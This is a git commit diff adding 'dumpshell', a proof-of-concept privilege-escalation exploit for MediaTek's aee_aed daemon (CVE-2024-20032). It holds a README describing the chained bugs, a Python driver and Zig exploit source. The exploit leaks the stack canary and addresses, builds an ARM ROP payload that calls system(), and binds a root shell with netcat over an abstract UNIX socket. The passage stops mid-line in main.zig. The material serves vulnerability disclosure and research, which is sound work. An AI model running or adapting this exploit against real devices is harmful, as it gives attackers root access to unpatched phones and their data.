From: misomosi Date: Mon, 22 Jun 2026 15:43:22 +0000 (-0400) Subject: Add dumpshell exploit to gists X-Git-Url: http://git.misomosispi.com/?a=commitdiff_plain;h=a59659e6ae38a637245e37a5c07399bdadfec45c;p=gists.git Add dumpshell exploit to gists --- diff --git a/dumpshell/.gitignore b/dumpshell/.gitignore new file mode 100644 index 0000000..a114326 --- /dev/null +++ b/dumpshell/.gitignore @@ -0,0 +1,41 @@ +# Prerequisites +*.d + +# Compiled Object files +*.slo +*.lo +*.o +*.obj + +# Precompiled Headers +*.gch +*.pch + +# Compiled Dynamic libraries +*.so +*.dylib +*.dll + +# Fortran module files +*.mod +*.smod + +# Compiled Static libraries +*.lai +*.la +*.a +*.lib + +# Executables +*.exe +*.out +*.app + +# Build directories +tmp/ +build/ +__pycache__/ + +# aee_aed database +CURRENT.dbg +CURRENT/ diff --git a/dumpshell/LICENSE b/dumpshell/LICENSE new file mode 100644 index 0000000..dd68910 --- /dev/null +++ b/dumpshell/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 tf2spi + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/dumpshell/README.md b/dumpshell/README.md new file mode 100644 index 0000000..68b37e3 --- /dev/null +++ b/dumpshell/README.md @@ -0,0 +1,198 @@ +# dumpshell + +``dumpshell`` is a proof-of-concept for an exploit allowing the shell user to spawn a shell with the ``crash_dump`` context as ``root``. + +## Requirements + +* Vulnerable ``aee_aed`` in ``vuln/`` installed on the device +* ``python`` +* ``zig`` (``0.12.0-dev.789+e6590fea1`` at the time of this writing) +* ``adb`` +* Debuggable APK made via ``gradle`` or ``Android Studio`` + +## Instructions + +If the vulnerable ``aee_aed`` cannot be installed in ``/system/system_ext/bin``, you'll have to go into the Zig code in ``src`` and change offsets and gadgets apropriately. Chances are, the only variable that needs to be changed is ``SYSTEM_GADGET`` in ``main.zig``. + +``` +const SYSTEM_GADGET = +``` + +Install a debuggable APK to the device so ``shell`` can replace its context with ``run-as``. +See [Bypassing dynamic_security_check](#bypassing-dynamic_security_check) for why this needs to be done. +```sh +# Use Android Studio or Gradle to make a basic debuggagle APK (com.foo.bar) +./gradlew assembleDebug + +# Installs package com.foo.bar +adb install com.foo.bar.apk +``` + +Run ``pwn.py`` with the name of the package which replaces the ``shell`` context. +```sh +./pwn.py com.foo.bar +``` + +The exploit should spawn a shell in a few seconds. +``` +# id +uid=0(root) gid=0(root) groups=0(root),1000(system),1001(radio),1007(log),1032(package_info),1045(debuggerd),3009(readproc) context=u:r:crash_dump:s0 +``` + +If ASLR in ``aee_aed`` introduces blacklisted characters into the payload (See [Sscanf Buffer Overflow](#sscanf-buffer-overflow) for what is blacklisted), you'll have to restart the device and try again. + +Similarly, if you try too many times in a row, ``aee_aed`` will stop servicing the duplicate exception when trying to dump itself. You also have to restart the device in this case. + +## Implications + +* The dumped state of the machine as well as any process (including ``init``) can be leaked via ``aee_dumpstate``. This state includes... + - ``/proc/pid/maps`` (This defeats ASLR!) + - ``/proc/pid/fd`` + - ``dmesg`` + - Much, much more... +* Most files in ``/system`` and ``/vendor`` not normally accessible to ``shell`` are now accessible, like... + - Kernel modules in ``/vendor/lib/modules`` + - Firmware configs and binaries in ``/vendor/firmware`` + - MTK-Specific binaries in ``/system/system_ext`` (like ``aee_dumpstate`` or ``mdlogger``) +* Some properties not normally writable to ``shell`` are now writable, like... + - ``persist.vendor.mtk.aee.explevel`` + - ``persiste.vendor.mtk.aee.mode`` + - etc... +* The attacker can use ``aee_dumpstate`` to make dumps in ``/data/local/tmp`` that are difficult to remove and inconvenience the user +* If the selinux policy of a device has a flaw, the root shell could allow further privilege escalations + +## Exploit overview + +This exploit chains multiple vulnerabilities together to gain code execution as ``aee_aed``. + +## Bypassing dynamic_security_check + +In order to bypass the dynamic security check preventing ``su`` and ``shell`` from accessing certain endpoints, including the vulnerable one we're trying to access, the program must use ``run-as`` to execute itself in a different selinux context. + +One quirk about this is that debuggable apps also don't have permissions to connect to the abstract UNIX sockets presented by ``aee_aed`` which ``shell`` has. However, this is also trivial to bypass because we can just open the file descriptors as ``shell`` and then have ``run-as`` inherit these file descriptors. + +There is also a check like this if the selinux mode is ``permissive`` + +```c +int enforcing = security_getenforce(); +if (!enforcing) { + if (!check_socket(peer, "/system") + && !check_socket(peer, "/system_ext") + && !check_socket(peer, "/apex") + && !check_socket(peer, "/vendor")) { + __android_log_print("client check failed!\n"); + } +} +``` + +However, this is a useless check if the mode is ``permissive`` because one could define a preload which overrides ``__libc_init`` and run the following. + +```sh +LD_PRELOAD="/data/local/tmp/libmypreload.so" /system/bin/sh +``` + +This theoretically means that, if the selinux mode is ``permissive``, it's possible to make an app that escalates privileges to ``root`` using ``aee_aed``. However, there are better and more general exploits like [Magica](https://github.com/vvb2060/Magica) for escalating privileges in a ``permissive`` mode. + +### Sscanf Buffer Overflow + +The most important vulnerability it takes advantage of is a buffer overflow present in ``aee_report_dump_cmd``, reachable from abstract socket ``com.mtk.aee.aed``. When the daemon requests information about the current executing process, it checks for a trigger time and then uses ``sscanf`` to parse it. However, the ``sscanf`` format string used combined with the size of the input allows for a very significant buffer overflow. + +```c +peer_cmd peerreq = { /* Fill in data struct here */ }; +peer_cmd peercmd; +char trigger_time[40]; +fop_safe_write_timeout(peersock, &peerreq, sizeof(peerreq)); +fop_safe_read_timeout(peersock, &peercmd, sizeof(peercmd)); +if (peercmd.len < 0x20000) { + peercmd.len = 0x20000; +} +char *input = malloc(peercmd.len); +safe_read_and_discard(peersock, input, peercmd.len); +if (strstr(input, "Trigger time:")) { + // Uh-oh! strlen(input) is much greater than sizeof(trigger_time) + sscanf(input,"Trigger time:[%[^]]]",trigger_time); +} +``` + +There are a couple of caveats to keep in mind. + +First, the ``sscanf`` format string blacklists the ``'\x00'`` and ``]`` characters, so if a malicious payload requires these, the attack is thwarted and the attacker must reboot the phone. + +Second, the binary is compiled with stack canaries and ASLR enabled. This means we need a primitive to leak the stack canary. A primitive to defeat ASLR would be a nice-to-have, but brute forcing ASLR is also computationally feasible. + +Luckily, we have primitives to defeat both! + +### Stack Canary Leak + +In ``rttd_handle_request``, reachable from abstract socket ``aee:rttd``, there is a mishandling of string functions that makes the program leak more bytes than it intended! + +```c +struct +{ + int dontcare; + int cmd; + int dontcare2[4]; + char message[84]; +} cmd; +fop_safe_read_timeout(fd, &cmd, sizeof(cmd)); +// cmd.message is not null-terminated! +switch (cmd.type) +{ +// MORE COMMANDS ABOVE +case RTT_AEE_CLEANDAL: + // Bytes after cmd.message are leaked! + __android_log_print("Got RTT_AEE_CLEANDAL: %s", cmd.message); + dal_ui_clean(); + break; +// MORE COMMANDS BELOW +} +``` + +Because ``cmd.message`` is not null-terminated, anything afterwards that's also not null-terminated are also leaked to logs. + +If the compiler decides to place ``cmd`` before the stack canary, writing a message that is not null-terminated will leak the stack canary to logs. + +Unfortunately, this is far from theoretical. In fact, it's quite common for the compiler to do so. See [Vulnerable Commit Hashes](#vulnerable-commit-hashes) for vulnerable versions. + +### Defeating ASLR + +Stack ASLR is trivially defeated by a log message. + +```c + void (*generator)(void); + aed_worker workers[WORKER_MAX]; + int worker_fd; + // Choose worker here... + // This defeats stack ASLR because workers is laid out on the stack! + // It's also very predictable because 'i' tends to be 0. + __android_log_print(3,"AEE_AED","%s: generator %p, worker %p, recv_fd %d", + "aed_main_fork_worker", generatorFn,&workers[i],worker_fd); + // Act on worker here... +``` + +Because stack ASLR is defeated and the stack canary is leaked, we can overwrite ``r4`` on ARM, which stores the address to restore the ``aed_report_dump`` object in ``dump_exp_info``. Then, when ``aed_report_dump_cmd`` is called again to specify the current module, we can then overwrite the temporary database path with the module name and then close the socket immediately! This will trick ``aee_aed`` into calling ``aee_dumpstate`` with a custom path, like ``/sdcard/db.malicious`` instead of ``/data/aee_exp/tmp/db.XXXXXXXX`` which was inaccessible to us! + +This defeats ASLR because, if we specify that we want to dump the state of ``aee_aed`` by providing its own pid, it will then happily do so. Part of this dump is a dump of ``/proc/pid/maps``, which leaks the base address of ``aee_aed`` mapped in memory, successfully defeating ASLR in ``aee_aed``. + +As a bonus, you get to leak a lot of other information as described in [Implications](#implications). + +Again, this would intuitively seem coincidental, but it's common for the compiler to put ``aed_report_dump`` in ``r4``. + +### Easiest ROP of my Life + +``aee_aed`` calls ``system`` with ``r6 + 0x38`` as the address of the ``/system/bin/sh`` command, so all that needs to be done is to write the system command to the stack, write its address to ``r6``, which we know because of the stack address leak, and then overwrite ``lr`` with the address of that gadget. + +## Vulnerable Commit Hashes + +The commit hashes given in ``/vendor/etc/aee-commit`` have been tested and are vulnerable to this exploit. +* a5a730e76f371a3f8b3ac40ef31aa3bdc6d67f5b + +I have looked at other versions of ``aee_aed`` and I have seen the same vulnerabilities present in +those as well, even the stack canary leak and worker log statement, as coincidental as that may be. +In general, it's better to assume that the version of ``aee_aed`` you have is vulnerable. + +## Fix + +MediaTek has assigned `CVE-2024-20032` to this vulnerability. + +`CVE-2024-20032` has already been fixed by MediaTek and was published as part of the [March 2024 MediaTek Security Bulletin](https://corp.mediatek.com/product-security-bulletin/March-2024). diff --git a/dumpshell/pwn.py b/dumpshell/pwn.py new file mode 100644 index 0000000..b64d87f --- /dev/null +++ b/dumpshell/pwn.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +import sys +import os +import time +import pathlib +import subprocess +import re +import shutil + +# Pwn the vulnerable binary in vuln extracted from a retail phone +TMP = 'tmp' +SRC = 'src' +TOOLS = 'tools' +EXTRACTDB = 'extractdb.py' +DBZIP = 'CURRENT.dbg' +DBUNPACK = 'CURRENT' +MAIN = 'main' + +# Certain banners to parse for variables +STABLE_BANNER = b'>>>>>>>>' +LEAKDB_BANNER_REGEX = STABLE_BANNER + b' DUMP SUCCESSFUL \\((.*)\\)' + +def zigbuild(cmddir): + mainzig = os.path.join(cmddir, SRC, 'main.zig') + outputbin = os.path.join(cmddir, TMP, MAIN) + try: + os.mkdir(os.path.join(cmddir, TMP)) + except FileExistsError: + pass + zigargs = ['zig', 'build-exe', mainzig, '-target', 'arm-linux-android', f'-femit-bin={outputbin}'] + subprocess.run(zigargs) + return outputbin + +def pushexploiter(localbin): + remotebin = f'/data/local/tmp/{MAIN}' + subprocess.run(['adb', 'push', localbin, remotebin]) + return remotebin + +def leakdb(remotebin, pkgname, worker): + proc = subprocess.run(['adb', 'shell', remotebin, pkgname, '0', str(worker)], capture_output=True) + matches = re.search(LEAKDB_BANNER_REGEX, proc.stderr) + return b'' if matches is None else matches.group(1) + +def pulldb(tmpdir, leaked): + RETRIES = 60 + print('Waiting for aee_dumpstate to complete its work... This should take about 10 seconds.') + for i in range(RETRIES): + # When pgrep fails to find aee_dumpstate, we know it has finished + try: + subprocess.run(['adb', 'shell', 'sh', '-c', 'ps -A | grep aee_dumpstate'], check=True) + time.sleep(1) + except subprocess.CalledProcessError: + break + if i == RETRIES: + raise RuntimeError('aee_dumpstate failed to complete after one minute!') + subprocess.run(['adb', 'pull', f'{leaked.decode()}/{DBZIP}', os.path.join(tmpdir, DBZIP)]) + subprocess.run(['adb', 'shell', 'rm', '-rf', leaked.decode()]) + +def extractdb(tmpdir, toolsdir): + print('Extracting database...') + shutil.rmtree(os.path.join(tmpdir, DBUNPACK), ignore_errors=True) + subprocess.run([os.path.join(toolsdir, EXTRACTDB), os.path.join(tmpdir, DBZIP), os.path.join(tmpdir, DBUNPACK)]) + print('Done!') + +def extractbase(unpacked): + with open(f'{unpacked}/PROCESS_MAPS') as fp: + baseaddr = fp.readline() + baseaddr = int(baseaddr[:baseaddr.find('-')], 16) + return baseaddr + +def getshell(remotebin, pkgname, base, worker): + subprocess.run(['adb', 'shell', remotebin, pkgname, str(base), str(worker)]) + subprocess.run(['adb', 'shell', 'rm', remotebin]) + print('----------------- STARTING SHELL NOW! -----------------------') + time.sleep(0.25) + print('# ', end='', flush=True) + subprocess.run(['adb', 'shell', 'nc', '-U', "''"]) + +def main(): + cmdname = sys.argv[0] + if len(sys.argv) < 2: + print(f'Usage: {cmdname} [WorkerNum]') + sys.exit(1) + worker = 0 if len(sys.argv) < 3 else int(sys.argv[2]) + pkgname = sys.argv[1] + cmddir = pathlib.Path(os.path.realpath(cmdname)).parent + tmpdir = os.path.join(cmddir, TMP) + toolsdir = os.path.join(cmddir, TOOLS) + os.chdir(cmddir) + outbin = zigbuild(cmddir) + remotebin = pushexploiter(outbin) + try: + db = leakdb(remotebin, pkgname, worker) + if db != b'': + print('Database:', db.decode()) + pulldb(tmpdir, db) + else: + raise RuntimeError('Exploit was unable to create database on sdcard!') + except Exception as e: + print('Exception raised while leaking and extracting database!', file=sys.stderr) + print('Database is probably still on /sdcard/db.*', file=sys.stderr) + print('Don\'t forget to clean it up!', file=sys.stderr) + raise e + extractdb(tmpdir, toolsdir) + base = extractbase(os.path.join(tmpdir, DBUNPACK)) + getshell(remotebin, pkgname, base, worker) + +if __name__ == '__main__': + main() diff --git a/dumpshell/src/android.zig b/dumpshell/src/android.zig new file mode 100644 index 0000000..8eddf3b --- /dev/null +++ b/dumpshell/src/android.zig @@ -0,0 +1,34 @@ +const std = @import("std"); +const os = std.os; +const linux = os.linux; +const AF = linux.AF; +const SOCK = linux.SOCK; +const Stream = std.net.Stream; + +/// Connect to both abstract and filesystem sockets on Android +/// which os.connectUnixSocket unfortunately fails to do. +/// +/// Android also flips between using dgram and stream sockets +/// so be flexible and do either one. +pub fn connectUnixSocket(path: []const u8, socktype: u32) !Stream { + var sock = try os.socket(AF.UNIX, socktype, 0); + errdefer os.closeSocket(sock); + const un = try std.net.Address.initUnix(path); + var size = @as(os.socklen_t, @offsetOf(os.sockaddr.un, "path") + path.len); + if (size > @offsetOf(os.sockaddr.un, "path") and path[0] != 0) size += 1; + _ = try os.connect(sock, &un.any, size); + return .{ .handle = sock }; +} + +/// Convenience functions for creating stream, dgram, and seqpacket sockets. +/// Yes, Android will actually use both dgram and seqpacket sockets +/// because Google hates everyone, especially me. +pub fn connectUnixSocketStream(path: []const u8) !Stream { + return connectUnixSocket(path, SOCK.STREAM); +} +pub fn connectUnixSocketDgram(path: []const u8) !Stream { + return connectUnixSocket(path, SOCK.DGRAM); +} +pub fn connectUnixSocketSeqpacket(path: []const u8) !Stream { + return connectUnixSocket(path, SOCK.SEQPACKET); +} diff --git a/dumpshell/src/logd.zig b/dumpshell/src/logd.zig new file mode 100644 index 0000000..9cd9140 --- /dev/null +++ b/dumpshell/src/logd.zig @@ -0,0 +1,24 @@ +const std = @import("std"); +const os = std.os; +const print = std.debug.print; +const android = @import("android.zig"); + +pub const LOGGER_ENTRY_MAX_LEN: usize = @as(usize, 5 * 1024); +pub const rsockname = "/dev/socket/logdr"; + +/// Code to interact with logd on the device +pub const LogClient = struct { + stream: std.net.Stream, + + pub fn init(stream: std.net.Stream) LogClient { + return .{ + .stream = stream, + }; + } + pub fn read(self: LogClient, message: []u8) !usize { + return self.stream.read(message); + } + pub fn close(self: LogClient) void { + self.stream.close(); + } +}; diff --git a/dumpshell/src/main.zig b/dumpshell/src/main.zig new file mode 100644 index 0000000..464b0f5 --- /dev/null +++ b/dumpshell/src/main.zig @@ -0,0 +1,418 @@ +const std = @import("std"); +const os = std.os; +const print = std.debug.print; +const Prng = std.rand.DefaultPrng; +const android = @import("android.zig"); +const rttd = @import("rttd.zig"); +const logd = @import("logd.zig"); +const processd = @import("processd.zig"); +const RTTClient = rttd.RTTClient; +const RTTPacket = rttd.RTTPacket; +const RTTCmd = rttd.RTTCmd; +const LogClient = logd.LogClient; +const ProcessClient = processd.ProcessClient; +const AedProcHeader = processd.AedProcHeader; +const AedProcCmd = processd.AedProcCmd; +const AedProcCmdType = processd.AedProcCmdType; +const AedProcExp = processd.AedProcExp; + +const PTR_SIZE = @sizeOf(usize); +const TRIGGER_CANARY_OFFSET = 0x10e8 - 0x3c; +const WORKER_CANARY_OFFSET = (0x120 - 0x5a0 - 0x7a3a0 - 0x50 - 0x3c); + +const REPORT_MODULE_OFFSET = 0xa0d4; +const REPORT_TMPDATABASE_OFFSET = 0x1000; +const WORKER_REPORT_OFFSET = (0x120 - 0x5a0 - 0x7a340); +const TRIGGER_TIME_PREFIX = "Trigger time:["; +const TRIGGER_TIME_SUFFIX = "]\x00"; + +// For system_ext aee_aed +const AEE_PROCESSD_SOCKNAME = "\x00com.mtk.aee.aed"; +const AEE_RTTD_SOCKNAME = "\x00aee:rttd"; +const AEE_COMM = "aee_aed\n"; +const SYSTEM_GADGET = (0x2fd6c - 0x10000) | 1; +const SYSTEM_CMD_OFFSET = 0x38; + +// For vendor aee_aedv +// Not that you have permissions to connect anyways... +// +// const AEE_PROCESSD_SOCKNAME = "\x00com.mtk.aee.aedv"; +// const AEE_RTTD_SOCKNAME = "\x00aee:vrttd"; +// const AEE_COMM = "aee_aedv\n"; +// const SYSTEM_GADGET = (0x280ca - 0x10000) | 1; +// const SYSTEM_CMD_OFFSET = 0x38; + +const DBPATH_MAX = 64; +const RTTD_FD = 3; +const LOGD_FD = 4; +const PROCESSD_FD = 5; + +// Print statements with this banner at the beginning have a stable CLI output +// All other print statements are for debugging +const STABLE_BANNER = ">>>>>>>>"; + +const FrameSave32 = struct { + canary: u32 = 0xffffffff, + d0l: u32 = 0xffffffff, + d0h: u32 = 0xffffffff, + d1l: u32 = 0xffffffff, + d1h: u32 = 0xffffffff, + __pad: u32 = 0xffffffff, + r4: u32 = 0xffffffff, + r5: u32 = 0xffffffff, + r6: u32 = 0xffffffff, + r7: u32 = 0xffffffff, + r8: u32 = 0xffffffff, + r9: u32 = 0xffffffff, + r10: u32 = 0xffffffff, + r11: u32 = 0xffffffff, + lr: u32 = 0xffffffff, +}; + +const ExploitParams = struct { + canary: usize = 0, + worker: usize = 0, + base: usize = 0, + dbnum: u32 = 0, + pid: i32 = 0, + __workeridx: u8 = 0, +}; + +// Start the exploit using processd to dump pid and tid if desired +// After this, pwn can be called immediately after to send the payload +fn handshake(client: *ProcessClient, pid: i32, tid: i32) !void { + // seq and len fields reused for pid and tid respectively + var hdr: AedProcHeader = .{ + .cmdtype = @intFromEnum(AedProcCmdType.ind), + .cmd = @intFromEnum(AedProcCmd.ind_fatal), + .seq = @bitCast(pid), + .exp = @intFromEnum(AedProcExp.undef), + .len = @bitCast(tid), + }; + + // Write the initial header to give pid and tid + _ = try client.write(&hdr, &.{}); + + // The exception type is not important so give a generic exception + _ = try client.read(&hdr, &.{}); + const exception = "FATAL\x00"; + hdr.len = exception.len; + _ = try client.write(&hdr, exception); +} + +pub fn parameter_parse(paramstr: []const u8) !ExploitParams { + var params: ExploitParams = .{}; + var iterator = std.mem.split(u8, paramstr, ","); + while (iterator.next()) |p| { + const base = "base="; + const pid = "pid="; + const dbnum = "dbnum="; + const workeridx = "workeridx="; + if (std.mem.startsWith(u8, p, base)) { + params.base = try std.fmt.parseInt(usize, p[base.len..], 0); + } else if (std.mem.startsWith(u8, p, pid)) { + params.pid = try std.fmt.parseInt(i32, p[pid.len..], 0); + } else if (std.mem.startsWith(u8, p, dbnum)) { + params.dbnum = try std.fmt.parseInt(u32, p[dbnum.len..], 0); + } else if (std.mem.startsWith(u8, p, workeridx)) { + params.__workeridx = try std.fmt.parseInt(u8, p[workeridx.len..], 0); + } + } + return params; +} + +fn parameter_leak(params: *ExploitParams, client: *LogClient) !void { + while (true) { + const rttd_needle = "Got RTT_AEE_CLEANDAL: "; + const worker_needle = ", worker "; + var data: [logd.LOGGER_ENTRY_MAX_LEN]u8 = undefined; + var log = data[0..try client.read(&data)]; + if (log.len == 0) break; + var needle = std.mem.lastIndexOf(u8, log, rttd_needle); + if (needle != null) { + var canary_slice = log[needle.? + rttd_needle.len ..]; + const lookahead = @sizeOf(@TypeOf(@as(RTTPacket, undefined).data)); + if (canary_slice.len >= lookahead + PTR_SIZE) { + params.canary = std.mem.bytesToValue(usize, canary_slice[lookahead .. lookahead + PTR_SIZE]); + } + } + needle = std.mem.lastIndexOf(u8, log, worker_needle); + if (needle != null) { + var worker_slice = log[needle.? + worker_needle.len .. std.mem.lastIndexOf(u8, log, ",").?]; + var tmpworker = std.fmt.parseInt(usize, worker_slice, 0) catch 0; + if (tmpworker != 0) params.worker = tmpworker - 0xc * params.__workeridx; + } + } +} + +pub fn trigger(client: *ProcessClient, payload: []u8) !void { + for (payload) |b| { + if (b == ']' or b == '\x00') { + print("Payload contains blacklisted char ({})! Throwing error!\n", .{b}); + return error.InvalidValue; + } + } + var hdr: AedProcHeader = .{ + .cmdtype = 0, + .cmd = 0, + .seq = 0, + .exp = 0, + }; + _ = try client.read(&hdr, &.{}); + hdr.len = TRIGGER_TIME_PREFIX.len + payload.len + TRIGGER_TIME_SUFFIX.len; + var iovecs: [3]std.os.iovec_const = .{ + .{ + .iov_base = TRIGGER_TIME_PREFIX, + .iov_len = TRIGGER_TIME_PREFIX.len, + }, + .{ + .iov_base = @ptrCast(payload), + .iov_len = payload.len, + }, + .{ + .iov_base = TRIGGER_TIME_SUFFIX, + .iov_len = TRIGGER_TIME_SUFFIX.len, + }, + }; + try client.writev(&hdr, &iovecs); +} + +// Use /sdcard instead of /data/local/tmp because we want +// the option of deleting the file the root user makes, +// as I learned the hard way... +pub fn mkdbpath(uniq: u32, dbpath: *[DBPATH_MAX]u8) ![]u8 { + return std.fmt.bufPrint(dbpath, "/sdcard/db.{}\x00", .{uniq}); +} + +pub fn main() !void { + // Get current attribute because shell is not allowed to communicate with process worker + var is_shell = false; + { + var data: [256]u8 = undefined; + var attrfp = try std.fs.openFileAbsolute("/proc/self/attr/current", .{}); + defer attrfp.close(); + var len = try attrfp.readAll(&data); + var attr = data[0..len]; + is_shell = std.mem.startsWith(u8, attr, "u:r:shell:s0"); + } + + // If we are the shell user, open the sockets then masquerade as another app to bypass security check + if (is_shell) { + var args = std.process.args(); + if (args.inner.count < 3) { + print("Usage: {s} [WorkerNum]\nMasquerade as another package to overcome dynamic_security_check\n", .{args.next().?}); + print("Do ROP when base != 0 or leak database when base == 0\n", .{}); + print("If WorkerNum is specified, use this number instead of 0\n", .{}); + std.os.exit(1); + return; + } + + // Get the pid of aee_aed + var pid: i32 = -1; + var procdir = try std.fs.openIterableDirAbsolute("/proc", .{}); + var prociter = procdir.iterate(); + while (try prociter.next()) |pidname| { + var tmppid = std.fmt.parseInt(i32, pidname.name, 0) catch -1; + if (tmppid > 0) { + var commbuf: [64]u8 = undefined; + var commname = try std.fmt.bufPrint(&commbuf, "/proc/{}/comm", .{tmppid}); + if (std.fs.openFileAbsolute(commname, .{})) |commfile| { + var commvalue = commbuf[0..try commfile.readAll(&commbuf)]; + commfile.close(); + if (std.mem.startsWith(u8, commvalue, "aee_aed\n")) { + pid = tmppid; + print("{s} FOUND AEE_AED ({})\n", .{ STABLE_BANNER, pid }); + break; + } + } else |_| { + // Sometimes, PermissionDenied will come up so just ignore that... + continue; + } + } + } + procdir.close(); + if (pid == -1) { + print("Was unable to find the pid of aee_aed!\n", .{}); + std.os.exit(1); + } + + // Execute this program again but use run-as to change the + // SELinux context and bypass the dynamic_security_check + var myname = args.next().?; + var pkgname = args.next().?; + var base = try std.fmt.parseInt(usize, args.next().?, 0); + var workeridx = try std.fmt.parseInt(u8, args.next() orelse "0", 0); + var prng = Prng.init(@bitCast(std.time.microTimestamp())); + var rnd = prng.random(); + var myname_buf: [4096]u8 = undefined; + var fauxname_buf: [32]u8 = undefined; + var fauxname = try std.fmt.bufPrint(&fauxname_buf, "./killer{}", .{rnd.int(u32)}); + var data: [4096]u8 = undefined; + + // Only if we're leaking the database do we need to make a database beforehand + var dbnum = rnd.int(u32); + if (base == 0) { + var dump_path_buf: [DBPATH_MAX]u8 = undefined; + var dump_path = try mkdbpath(dbnum, &dump_path_buf); + _ = try std.fs.makeDirAbsoluteZ(@ptrCast(dump_path)); + } + + // Format the command for 'sh -c' invocation + const cmdline = @as([*:0]const u8, @ptrCast(try std.fmt.bufPrint(&data, "cp '{s}' '{s}' && '{s}' 'workeridx={},base={},pid={},dbnum={}' ; rm -f '{s}'\x00", .{ + try std.os.realpath(myname, &myname_buf), + fauxname, + fauxname, + workeridx, + base, + pid, + dbnum, + fauxname, + }))); + + // Use run-as with 'sh -c' to bypass security check + const runas = @as([*:0]const u8, @ptrCast("/system/bin/run-as\x00")); + var childargs_array = [_]?[*:0]const u8{ + runas, + @as([*:0]const u8, @ptrCast(pkgname)), + "sh", + "-c", + cmdline, + null, + }; + var childenv_array = [_]?[*:0]const u8{ + null, + }; + var childargs = @as([*:null]?[*:0]const u8, @ptrCast(&childargs_array)); + var childenv = @as([*:null]?[*:0]const u8, @ptrCast(&childenv_array)); + + // Open and leak streams so that child can have them on the following exec + var stream = try android.connectUnixSocketStream(AEE_RTTD_SOCKNAME); + if (stream.handle != RTTD_FD) _ = std.os.linux.dup2(stream.handle, RTTD_FD); + stream = try android.connectUnixSocketSeqpacket(logd.rsockname); + _ = try stream.writeAll("dumpAndClose lids=0"); + if (stream.handle != LOGD_FD) _ = std.os.linux.dup2(stream.handle, LOGD_FD); + stream = try android.connectUnixSocketStream(AEE_PROCESSD_SOCKNAME); + if (stream.handle != PROCESSD_FD) _ = std.os.linux.dup2(stream.handle, PROCESSD_FD); + return std.os.execveZ(runas, childargs, childenv); + } + + // Initialize the sockets in the same order as they were before the execve + var args = std.process.args(); + _ = args.skip(); + var params = try parameter_parse(args.next().?); + var rtt_client = RTTClient.init(.{ .handle = RTTD_FD }); + var log_client = LogClient.init(.{ .handle = LOGD_FD }); + var process_client = ProcessClient.init(.{ .handle = PROCESSD_FD }); + + // Use RTT CLEANDLAL to leak the stack canary and address + // The application hangs for a few seconds when I close this + // without iteracting with it, so just leak the thing anyways. + var pkt: RTTPacket = .{ + .cmd = @intFromEnum(RTTCmd.clean_dal), + .pid = 0, + }; + @memset(&pkt.data, '>'); + _ = try rtt_client.write(&pkt); + rtt_client.close(); + + // Start the handshake of the first client to leak the worker + // If we're dumping the database, use the pid provided, else + // use our current pid for convenience in testing. + if (params.base != 0) params.pid = std.os.linux.getpid(); + try handshake(&process_client, params.pid, params.pid); + + // Read leaked worker and stack canary addresses from logs if not provided as arguments + try parameter_leak(¶ms, &log_client); + + // Check if worker and canary are both leaked + if (params.canary == 0 or params.worker == 0) { + print("Was unable to find either the stack canary or the generator address! Quitting early!\n[ CANARY : {x} , WORKER : {x} ]\n", .{ params.canary, params.worker }); + std.os.exit(1); + } + print("canary={x},worker={x},base={x}\n", .{ params.canary, params.worker, params.base }); + log_client.close(); + + // ROP your way to victory with a guessed ASLR offset + if (params.base != 0) { + print("ROP your way to victory!!!!\n", .{}); + var payload: [TRIGGER_CANARY_OFFSET + @sizeOf(FrameSave32)]u8 = undefined; + + // Write system command to memory + // There's several limitations to the commands you can execute + // * /data/aee_exp is the only location found so far that is read and write accessible + // * Permission to write new binaries in /data/aee_exp and execute them is denied + // * Permission to bind to a UNIX socket on /adata/aee_exp is denied + // * Permission to bind to an abstract UNIX socket is obviously granted because that's what we communicate on + // * Permission to execute toybox binaries (like netcat) are granted + // + // netcat wasn't made with abstract UNIX sockets in mind, but you can still bind one by + // binding to the empty address like we do here. Similarly, netcat will connect to this + // same address, so just run this command to take advtanage of the reverse shell + // + // nc -U '' + var fluff: usize = SYSTEM_CMD_OFFSET * 2; + @memset(payload[0..fluff], ' '); + var cmdslice = try std.fmt.bufPrint(payload[fluff..], " nc -E -U -s '' -L sh \n", .{}); + @memset(payload[cmdslice.len + fluff .. TRIGGER_CANARY_OFFSET], ';'); + + // Write canary and variables + // r6 = address to system command + // lr = Gadget pointing to a call to system from libc in our binary which uses r6 + var gadgetaddr: usize = SYSTEM_GADGET + params.base; + var cmdaddr = @as(isize, @bitCast(params.worker)) +% (WORKER_CANARY_OFFSET - TRIGGER_CANARY_OFFSET); + print("Cmd address = {x}\n", .{@as(usize, @bitCast(cmdaddr))}); + print("Gadget address = {x}, Base = {x}\n", .{ gadgetaddr, params.base }); + var frame: FrameSave32 = .{ + .canary = params.canary, + .r6 = @bitCast(cmdaddr), + .lr = gadgetaddr, + }; + @memcpy(payload[TRIGGER_CANARY_OFFSET..], @as([*]const u8, @ptrCast(&frame))[0..@sizeOf(FrameSave32)]); + try trigger(&process_client, &payload); + print("{s} PAYLOAD SENT (Run \"nc -U ''\" in the adb shell to connect to it!)\n", .{STABLE_BANNER}); + } else { + print("Leaking database...\n", .{}); + // Pad out the payload until the canary + var payload: [TRIGGER_CANARY_OFFSET + @sizeOf(FrameSave32)]u8 = undefined; + @memset(payload[0..TRIGGER_CANARY_OFFSET], 0xff); + + // We can conveniently overwrite the report address so that the next dump we write + // overwrites the temporary database path, tricking aee_aed calling dumpstate on + // a custom path of our choosing instead of /data/aee_exp which is inaccessible by us + var report_addr = @as(isize, @bitCast(params.worker)) +% (WORKER_REPORT_OFFSET - 